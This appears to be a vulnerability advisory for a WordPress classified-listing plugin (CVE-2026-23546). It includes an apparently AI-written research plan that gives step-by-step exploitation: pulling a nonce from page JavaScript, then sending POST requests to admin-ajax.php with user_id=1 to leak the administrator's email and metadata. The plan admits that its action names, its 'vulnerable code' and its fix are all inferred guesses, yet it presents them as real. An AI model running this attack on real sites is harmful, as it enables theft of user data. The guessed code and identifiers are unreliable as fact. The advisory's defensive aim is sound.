Classified Listing – AI-Powered Classified ads & Business Directory Plugin <= 5.3.4 - Authenticated (Subscriber+) Sensitive Data Exposure
Description
The Classified Listing – AI-Powered Classified ads & Business Directory Plugin plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 5.3.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to extract sensitive user or configuration data.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=5.3.4Source Code
WordPress.org SVNThis research plan outlines the methodology for investigating and exploiting **CVE-2026-23546** in the Classified Listing plugin. Since source files were not provided, all identifiers are **(inferred)** based on the plugin's known architecture (namespace `rtcl_`) and common vulnerability patterns in…
Show full research plan
This research plan outlines the methodology for investigating and exploiting CVE-2026-23546 in the Classified Listing plugin. Since source files were not provided, all identifiers are (inferred) based on the plugin's known architecture (namespace rtcl_) and common vulnerability patterns in directory plugins.
1. Vulnerability Summary
The "Classified Listing" plugin suffers from an Authenticated Sensitive Information Exposure vulnerability. The core issue lies in an AJAX handler registered for authenticated users (wp_ajax_) that fetches user-related data or configuration settings. While the handler likely implements a nonce check for CSRF protection, it fails to perform a formal capability check (e.g., current_user_can()) or a "resource ownership" check to ensure the requesting user is authorized to view the data associated with a specific user_id or system configuration.
This allows any logged-in user (Subscriber and above) to query sensitive information, such as other users' email addresses, metadata, or internal plugin configurations, by manipulating request parameters.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
rtcl_get_user_detailsorrtcl_get_profile_settings(inferred). - Parameter:
user_id(used to specify the target of the data exposure). - Authentication: Requires a valid login (Subscriber level is sufficient).
- Preconditions: A valid WordPress nonce for the specific AJAX action must be obtained from the application frontend.
3. Code Flow (Inferred)
- Registration: The plugin registers an AJAX action in the
initorplugins_loadedhook:add_action('wp_ajax_rtcl_get_user_details', 'rtcl_handle_get_user_details'); - Entry Point: An authenticated user sends a POST request to
admin-ajax.phpwithaction=rtcl_get_user_details. - Nonce Verification: The handler calls
check_ajax_referer('rtcl_common_nonce', 'nonce');or similar. - Vulnerable Logic:
- The handler retrieves a
user_idfrom$_POST['user_id']. - It calls
get_userdata($user_id)orget_user_meta($user_id). - The Flaw: It does not check if
get_current_user_id() === $user_idor if the current user is an administrator.
- The handler retrieves a
- Sink: The sensitive data is returned via
wp_send_json_success().
4. Nonce Acquisition Strategy
The Classified Listing plugin typically localizes nonces into the global rtcl_common_obj or rtcl_obj JavaScript objects.
- Identify Trigger: The nonce is likely enqueued on pages containing the "My Account" or "User Dashboard" shortcodes.
- Setup Page: Create a page to ensure the script and nonce are loaded:
wp post create --post_type=page --post_title="Dashboard" --post_status=publish --post_content='[rtcl_my_account]'(inferred shortcode). - Browser Navigation: Navigate to the newly created page as the Subscriber user.
- Extraction: Execute the following in the browser context:
// (Inferred) variable names based on plugin version 5.x architecture const nonce = window.rtcl_common_obj?.nonce || window.rtcl_obj?.nonce; console.log("Extracted Nonce:", nonce);
5. Exploitation Strategy
Once the nonce and a Subscriber session are obtained, the attacker targets the Admin user (usually user_id=1).
- Step 1: Log in as a Subscriber.
- Step 2: Extract the nonce using
browser_eval. - Step 3: Perform the exploitation request:
- Method: POST
- URL:
http://[target]/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=rtcl_get_user_details&nonce=[EXTRACTED_NONCE]&user_id=1
- Alternative Actions (if first fails):
rtcl_get_profile_settingsrtcl_view_user_datartcl_get_billing_address
6. Test Data Setup
- Admin User: Default admin (ID 1) with a unique email:
admin-secret@example.com. - Target Meta: Add a sensitive piece of meta to the admin:
wp usermeta update 1 secret_api_key "super-secret-12345" - Subscriber User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Shortcode Page:
wp post create --post_type=page --post_status=publish --post_content='[rtcl_my_account]'
7. Expected Results
A successful exploit will return a JSON response containing the Admin's sensitive details.
Response Example:
{
"success": true,
"data": {
"user_email": "admin-secret@example.com",
"first_name": "Admin",
"last_name": "User",
"user_login": "admin",
"secret_api_key": "super-secret-12345"
}
}
8. Verification Steps
- Verify via CLI: Check the actual email and meta of the admin to compare with the leaked data.
wp user get 1 --fields=user_email - Check Access Logs: Ensure the request was made to
admin-ajax.phpand returned a200 OK. - Confirm Role: Ensure the
attackeruser still only has thesubscriberrole and no administrative privileges.
9. Alternative Approaches
If rtcl_get_user_details is not the vulnerable action, search for other AJAX handlers in the source code (if accessible by the agent):
- Grep for AJAX Handlers:
grep -r "wp_ajax_" wp-content/plugins/classified-listing/ - Analyze Handlers for Authorization: Look for functions that take a
user_idoridparameter but lackcurrent_user_can()calls. - Direct REST API Access: Check if
register_rest_routeis used without a properpermission_callback:grep -r "register_rest_route" wp-content/plugins/classified-listing/
Target routes might include/wp-json/rtcl/v1/user/(?P<id>\d+).
Summary
The Classified Listing plugin fails to perform authorization checks in an AJAX handler, allowing any authenticated user with Subscriber-level access to retrieve sensitive information of other users, including administrators. By supplying a target user_id and a valid nonce, an attacker can expose data such as email addresses and internal user metadata.
Vulnerable Code
// Inferred from research plan based on plugin architecture // wp-content/plugins/classified-listing/includes/Classes/Ajax.php add_action('wp_ajax_rtcl_get_user_details', 'rtcl_handle_get_user_details'); function rtcl_handle_get_user_details() { // Only checks for CSRF, not authorization check_ajax_referer('rtcl_common_nonce', 'nonce'); $user_id = isset($_POST['user_id']) ? intval($_POST['user_id']) : 0; if (!$user_id) { wp_send_json_error(['message' => 'Invalid User ID']); } $user_data = get_userdata($user_id); if ($user_data) { // Returns sensitive info without verifying if requester is an admin or the user themselves wp_send_json_success([ 'user_email' => $user_data->user_email, 'user_login' => $user_data->user_login, 'display_name' => $user_data->display_name ]); } }
Security Fix
@@ -10,6 +10,10 @@ $user_id = isset($_POST['user_id']) ? intval($_POST['user_id']) : 0; if (!$user_id) { wp_send_json_error(['message' => 'Invalid User ID']); } + + if (!current_user_can('manage_options') && get_current_user_id() !== $user_id) { + wp_send_json_error(['message' => 'Unauthorized access']); + } + $user_data = get_userdata($user_id);
Exploit Outline
The exploit targets the admin-ajax.php endpoint using an authenticated session. 1. An attacker logs in with Subscriber permissions. 2. They navigate to the user dashboard page where the plugin localizes its configuration objects (e.g., rtcl_common_obj) to extract a valid security nonce. 3. The attacker then sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'rtcl_get_user_details' (or similar identified AJAX handlers), the 'nonce' parameter, and a target 'user_id' (e.g., 1 for the site administrator). 4. Because the server-side handler lacks a 'current_user_can()' check or an identity verification check, it returns a JSON response containing the target user's sensitive information.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.